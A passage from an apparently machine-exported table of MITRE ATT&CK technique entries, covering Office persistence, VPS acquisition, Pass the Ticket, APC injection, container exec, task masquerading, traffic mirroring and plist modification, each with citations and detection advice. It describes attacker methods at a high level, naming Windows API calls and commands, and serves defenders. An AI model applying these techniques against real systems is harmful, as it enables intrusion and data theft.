"url": "https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/"
},
{
"description": "Hexacorn. (2017, April 17). Beyond good ol’ Run key, Part 62. Retrieved July 3, 2017.",
"external_id": null,
"source_name": "Hexacorn Office Template Macros",
"url": "http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/"
},
{
"description": "Shukrun, S. (2019, June 2). Office Templates and GlobalDotName - A Stealthy Office Persistence Technique. Retrieved August 26, 2019.",
"external_id": null,
"source_name": "GlobalDotName Jun 2019",
"url": "https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique"
},
{
"description": "Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral Movement and Persistence. Retrieved February 5, 2019.",
"external_id": null,
"source_name": "CrowdStrike Outlook Forms",
"url": "https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746"
},
{
"description": "Soutcast. (2018, September 14). Outlook Today Homepage Persistence. Retrieved February 5, 2019.",
"external_id": null,
"source_name": "Outlook Today Home Page",
"url": "https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page) Modification to base templates, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated.(Citation: GlobalDotName Jun 2019) | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"Office 365"
] | 1.1 |
attack-pattern | attack-pattern--79da0971-3147-4af6-a4f5-e8cd447cd795 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-10-01T00:44:23.935000Z" | "2021-10-17T15:36:59.315000Z" | Virtual Private Server | Adversaries may rent Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. By utilizing a VPS, adversaries can make it difficult to physically tie back operations to them. The use of cloud infrastructure can also make it easier for adversaries to rapidly provision, modify, and shut down their infrastructure.
Acquiring a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers. Adversaries may also acquire infrastructure from VPS service providers that are known for renting VPSs with minimal registration information, allowing for more anonymous acquisitions of infrastructure.(Citation: TrendmicroHideoutsLease) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
] | false | [
{
"description": null,
"external_id": "T1583.003",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1583/003"
},
{
"description": "Max Goncharov. (2015, July 15). Criminal Hideouts for Lease: Bulletproof Hosting Services. Retrieved March 6, 2017.",
"external_id": null,
"source_name": "TrendmicroHideoutsLease",
"url": "https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf"
},
{
"description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
"external_id": null,
"source_name": "ThreatConnect Infrastructure Dec 2020",
"url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
},
{
"description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.",
"external_id": null,
"source_name": "Mandiant SCANdalous Jul 2020",
"url": "https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation"
},
{
"description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.",
"external_id": null,
"source_name": "Koczwara Beacon Hunting Sep 2021",
"url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Once adversaries have provisioned a VPS (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)
Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"PRE"
] | 1.1 |
attack-pattern | attack-pattern--7ad38ef1-381a-406d-872a-38b136eb5ecc | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-14T13:09:51.004000Z" | "2021-06-08T17:08:08.386000Z" | Confluence |
Adversaries may leverage Confluence repositories to mine valuable information. Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation, however, in general may contain more diverse categories of useful information, such as:
* Policies, procedures, and standards
* Physical / logical network diagrams
* System architecture diagrams
* Technical system documentation
* Testing / development credentials
* Work / project schedules
* Source code snippets
* Links to network shares and other internal resources
| [
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
}
] | false | [
{
"description": null,
"external_id": "T1213.001",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1213/001"
},
{
"description": "Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018.",
"external_id": null,
"source_name": "Atlassian Confluence Logging",
"url": "https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor access to Confluence repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.
User access logging within Atlassian's Confluence can be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"SaaS"
] | 1.0 |
attack-pattern | attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-01-30T17:03:43.072000Z" | "2023-03-30T21:01:38.108000Z" | Pass the Ticket | Adversaries may “pass the ticket” using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.
When preforming PtT, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket)
A [Silver Ticket](https://attack.mitre.org/techniques/T1558/002) can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).(Citation: ADSecurity AD Kerberos Attacks)
A [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: Campbell 2014)
Adversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, "overpassing the hash" involves using a NTLM password hash to authenticate as a user (i.e. [Pass the Hash](https://attack.mitre.org/techniques/T1550/002)) while also using the password hash to create a valid Kerberos ticket.(Citation: Stealthbits Overpass-the-Hash) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "lateral-movement"
}
] | false | [
{
"description": null,
"external_id": "T1550.003",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1550/003"
},
{
"description": "Metcalf, S. (2014, November 22). Mimikatz and Active Directory Kerberos Attacks. Retrieved June 2, 2016.",
"external_id": null,
"source_name": "ADSecurity AD Kerberos Attacks",
"url": "https://adsecurity.org/?p=556"
},
{
"description": "Deply, B. (2014, January 13). Pass the ticket. Retrieved June 2, 2016.",
"external_id": null,
"source_name": "GentilKiwi Pass the Ticket",
"url": "http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos"
},
{
"description": "Campbell, C. (2014). The Secret Life of Krbtgt. Retrieved December 4, 2014.",
"external_id": null,
"source_name": "Campbell 2014",
"url": "http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf"
},
{
"description": "Warren, J. (2019, February 26). How to Detect Overpass-the-Hash Attacks. Retrieved February 4, 2021.",
"external_id": null,
"source_name": "Stealthbits Overpass-the-Hash",
"url": "https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/"
},
{
"description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.",
"external_id": null,
"source_name": "CERT-EU Golden Ticket Protection",
"url": "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity.
Event ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to "Integrity check on decrypted field failed" and indicates misuse by a previously invalidated golden ticket.(Citation: CERT-EU Golden Ticket Protection) | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 1.1 |
attack-pattern | attack-pattern--7b50a1d3-4ca7-45d1-989d-a6503f04bfe1 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2021-03-29T16:39:26.183000Z" | "2023-04-15T16:03:19.642000Z" | Container Administration Command | Adversaries may abuse a container administration service to execute commands within a container. A container administration service such as the Docker daemon, the Kubernetes API server, or the kubelet may allow remote management of containers within an environment.(Citation: Docker Daemon CLI)(Citation: Kubernetes API)(Citation: Kubernetes Kubelet)
In Docker, adversaries may specify an entrypoint during container deployment that executes a script or command, or they may use a command such as <code>docker exec</code> to execute a command within a running container.(Citation: Docker Entrypoint)(Citation: Docker Exec) In Kubernetes, if an adversary has sufficient permissions, they may gain remote execution in a container in the cluster via interaction with the Kubernetes API server, the kubelet, or by running a command such as <code>kubectl exec</code>.(Citation: Kubectl Exec Get Shell) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "execution"
}
] | false | [
{
"description": null,
"external_id": "T1609",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1609"
},
{
"description": "Docker. (n.d.). Docker Exec. Retrieved March 29, 2021.",
"external_id": null,
"source_name": "Docker Exec",
"url": "https://docs.docker.com/engine/reference/commandline/exec/"
},
{
"description": "Docker. (n.d.). Docker run reference. Retrieved March 29, 2021.",
"external_id": null,
"source_name": "Docker Entrypoint",
"url": "https://docs.docker.com/engine/reference/run/#entrypoint-default-command-to-execute-at-runtime"
},
{
"description": "Docker. (n.d.). DockerD CLI. Retrieved March 29, 2021.",
"external_id": null,
"source_name": "Docker Daemon CLI",
"url": "https://docs.docker.com/engine/reference/commandline/dockerd/"
},
{
"description": "The Kubernetes Authors. (n.d.). Get a Shell to a Running Container. Retrieved March 29, 2021.",
"external_id": null,
"source_name": "Kubectl Exec Get Shell",
"url": "https://kubernetes.io/docs/tasks/debug-application-cluster/get-shell-running-container/"
},
{
"description": "The Kubernetes Authors. (n.d.). Kubelet. Retrieved March 29, 2021.",
"external_id": null,
"source_name": "Kubernetes Kubelet",
"url": "https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/"
},
{
"description": "The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021.",
"external_id": null,
"source_name": "Kubernetes API",
"url": "https://kubernetes.io/docs/concepts/overview/kubernetes-api/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Container administration service activities and executed commands can be captured through logging of process execution with command-line arguments on the container and the underlying host. In Docker, the daemon log provides insight into events at the daemon and container service level. Kubernetes system component logs may also detect activities running in and out of containers in the cluster. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Containers"
] | 1.2 |
attack-pattern | attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2017-05-31T21:31:04.710000Z" | "2024-04-16T12:40:10.978000Z" | File and Directory Discovery | Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Many command shell utilities can be used to obtain this information. Examples include <code>dir</code>, <code>tree</code>, <code>ls</code>, <code>find</code>, and <code>locate</code>.(Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the [Native API](https://attack.mitre.org/techniques/T1106). Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather file and directory information (e.g. <code>dir</code>, <code>show flash</code>, and/or <code>nvram</code>).(Citation: US-CERT-TA18-106A)
Some files and directories may require elevated or specific user permissions to access. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
] | false | [
{
"description": null,
"external_id": "T1083",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1083"
},
{
"description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
"external_id": null,
"source_name": "Windows Commands JPCERT",
"url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html"
},
{
"description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
"external_id": null,
"source_name": "US-CERT-TA18-106A",
"url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather file and directory information with built-in features native to the network device platform. Monitor CLI activity for unexpected or unauthorized use of commands being run by non-standard users from non-standard locations. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows",
"Network"
] | 1.6 |
attack-pattern | attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-03-10T17:28:11.747000Z" | "2022-03-11T18:26:23.782000Z" | Dynamic Resolution | Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control.
Adversaries may use dynamic resolution for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "command-and-control"
}
] | false | [
{
"description": null,
"external_id": "T1568",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1568"
},
{
"description": "Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.",
"external_id": null,
"source_name": "Talos CCleanup 2017",
"url": "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html"
},
{
"description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29’s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.",
"external_id": null,
"source_name": "FireEye POSHSPY April 2017",
"url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html"
},
{
"description": "ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019.",
"external_id": null,
"source_name": "ESET Sednit 2017 Activity",
"url": "https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/"
},
{
"description": "Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019.",
"external_id": null,
"source_name": "Data Driven Security DGA",
"url": "https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Detecting dynamically generated C2 can be challenging due to the number of different algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There are multiple approaches to detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more (Citation: Data Driven Security DGA). CDN domains may trigger these detections due to the format of their domain names. In addition to detecting algorithm generated domains based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows"
] | 1.0 |
attack-pattern | attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-10T20:30:07.426000Z" | "2023-09-29T20:30:58.300000Z" | Masquerade Task or Service | Adversaries may attempt to manipulate the name of a task or service to make it appear legitimate or benign. Tasks/services executed by the Task Scheduler or systemd will typically be given a name and/or description.(Citation: TechNet Schtasks)(Citation: Systemd Service Units) Windows services will have a service name as well as a display name. Many benign tasks and services exist that have commonly associated names. Adversaries may give tasks or services names that are similar or identical to those of legitimate ones.
Tasks or services contain other fields, such as a description, that adversaries may attempt to make appear legitimate.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Fysbis Dr Web Analysis) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1036.004",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1036/004"
},
{
"description": "Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved December 7, 2017.",
"external_id": null,
"source_name": "Fysbis Dr Web Analysis",
"url": "https://vms.drweb.com/virus/?i=4276269"
},
{
"description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.",
"external_id": null,
"source_name": "Palo Alto Shamoon Nov 2016",
"url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/"
},
{
"description": "Freedesktop.org. (n.d.). systemd.service — Service unit configuration. Retrieved March 16, 2020.",
"external_id": null,
"source_name": "Systemd Service Units",
"url": "https://www.freedesktop.org/software/systemd/man/systemd.service.html"
},
{
"description": "Microsoft. (n.d.). Schtasks. Retrieved April 28, 2016.",
"external_id": null,
"source_name": "TechNet Schtasks",
"url": "https://technet.microsoft.com/en-us/library/bb490996.aspx"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Look for changes to tasks and services that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks or services may show up as outlier processes that have not been seen before when compared against historical data. Monitor processes and command-line arguments for actions that could be taken to create tasks or services. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"Linux",
"macOS"
] | 1.2 |
attack-pattern | attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-01-14T01:29:43.786000Z" | "2021-10-18T12:23:46.476000Z" | Asynchronous Procedure Call | Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process.
APC injection is commonly performed by attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state.(Citation: Microsoft APC) A handle to an existing victim process is first created with native Windows API calls such as <code>OpenThread</code>. At this point <code>QueueUserAPC</code> can be used to invoke a function (such as <code>LoadLibrayA</code> pointing to a malicious DLL).
A variation of APC injection, dubbed "Early Bird injection", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.(Citation: Microsoft Atom Table)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
] | false | [
{
"description": null,
"external_id": "T1055.004",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1055/004"
},
{
"description": "Microsoft. (n.d.). Asynchronous Procedure Calls. Retrieved December 8, 2017.",
"external_id": null,
"source_name": "Microsoft APC",
"url": "https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx"
},
{
"description": "Gavriel, H. & Erbesfeld, B. (2018, April 11). New ‘Early Bird’ Code Injection Technique Discovered. Retrieved May 24, 2018.",
"external_id": null,
"source_name": "CyberBit Early Bird Apr 2018",
"url": "https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/"
},
{
"description": "Liberman, T. (2016, October 27). ATOMBOMBING: BRAND NEW CODE INJECTION FOR WINDOWS. Retrieved December 8, 2017.",
"external_id": null,
"source_name": "ENSIL AtomBombing Oct 2016",
"url": "https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows"
},
{
"description": "Microsoft. (n.d.). About Atom Tables. Retrieved December 8, 2017.",
"external_id": null,
"source_name": "Microsoft Atom Table",
"url": "https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx"
},
{
"description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
"external_id": null,
"source_name": "Elastic Process Injection July 2017",
"url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as <code>SuspendThread</code>/<code>SetThreadContext</code>/<code>ResumeThread</code>, <code>QueueUserAPC</code>/<code>NtQueueApcThread</code>, and those that can be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be used for this technique.(Citation: Elastic Process Injection July 2017)
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 1.1 |
attack-pattern | attack-pattern--7c46b364-8496-4234-8a56-f7e6727e21e1 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-10-19T13:40:11.118000Z" | "2023-04-14T23:23:30.327000Z" | Traffic Duplication | Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised infrastructure. Traffic mirroring is a native feature for some devices, often used for network analysis. For example, devices may be configured to forward network traffic to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring)(Citation: Juniper Traffic Mirroring)
Adversaries may abuse traffic mirroring to mirror or redirect network traffic through other infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks)
Many cloud-based environments also support traffic mirroring. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring)(Citation: GCP Packet Mirroring)(Citation: Azure Virtual Network TAP)
Adversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "exfiltration"
}
] | false | [
{
"description": null,
"external_id": "T1020.001",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1020/001"
},
{
"description": "Amazon Web Services. (n.d.). How Traffic Mirroring works. Retrieved March 17, 2022.",
"external_id": null,
"source_name": "AWS Traffic Mirroring",
"url": "https://docs.aws.amazon.com/vpc/latest/mirroring/traffic-mirroring-how-it-works.html"
},
{
"description": "Cisco. (n.d.). Cisco IOS XR Interface and Hardware Component Configuration Guide for the Cisco CRS Router, Release 5.1.x. Retrieved October 19, 2020.",
"external_id": null,
"source_name": "Cisco Traffic Mirroring",
"url": "https://www.cisco.com/c/en/us/td/docs/routers/crs/software/crs_r5-1/interfaces/configuration/guide/hc51xcrsbook/hc51span.html"
},
{
"description": "Google Cloud. (n.d.). Packet Mirroring overview. Retrieved March 17, 2022.",
"external_id": null,
"source_name": "GCP Packet Mirroring",
"url": "https://cloud.google.com/vpc/docs/packet-mirroring"
},
{
"description": "Juniper. (n.d.). Understanding Port Mirroring on EX2200, EX3200, EX3300, EX4200, EX4500, EX4550, EX6200, and EX8200 Series Switches. Retrieved October 19, 2020.",
"external_id": null,
"source_name": "Juniper Traffic Mirroring",
"url": "https://www.juniper.net/documentation/en_US/junos/topics/concept/port-mirroring-ex-series.html"
},
{
"description": "Microsoft. (2022, February 9). Virtual network TAP. Retrieved March 17, 2022.",
"external_id": null,
"source_name": "Azure Virtual Network TAP",
"url": "https://docs.microsoft.com/en-us/azure/virtual-network/virtual-network-tap-overview"
},
{
"description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
"external_id": null,
"source_name": "Cisco Blog Legacy Device Attacks",
"url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
},
{
"description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
"external_id": null,
"source_name": "US-CERT-TA18-106A",
"url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor network traffic for uncommon data flows (e.g. unusual network communications, suspicious communications that have never been seen before, communications sending fixed size data packets at regular intervals). Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Network",
"IaaS"
] | 1.2 |
attack-pattern | attack-pattern--7d20fff9-8751-404e-badd-ccd71bda0236 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2022-04-09T15:06:32.458000Z" | "2022-04-20T22:00:33.375000Z" | Plist File Modification | Adversaries may modify property list files (plist files) to enable other malicious activity, while also potentially evading and bypassing system defenses. macOS applications use plist files, such as the <code>info.plist</code> file, to store properties and configuration settings that inform the operating system how to handle the application at runtime. Plist files are structured metadata in key-value pairs formatted in XML based on Apple's Core Foundation DTD. Plist files can be saved in text or binary format.(Citation: fileinfo plist file description)
Adversaries can modify key-value pairs in plist files to influence system behaviors, such as hiding the execution of an application (i.e. [Hidden Window](https://attack.mitre.org/techniques/T1564/003)) or running additional commands for persistence (ex: [Launch Agent](https://attack.mitre.org/techniques/T1543/001)/[Launch Daemon](https://attack.mitre.org/techniques/T1543/004) or [Re-opened Applications](https://attack.mitre.org/techniques/T1547/007)).
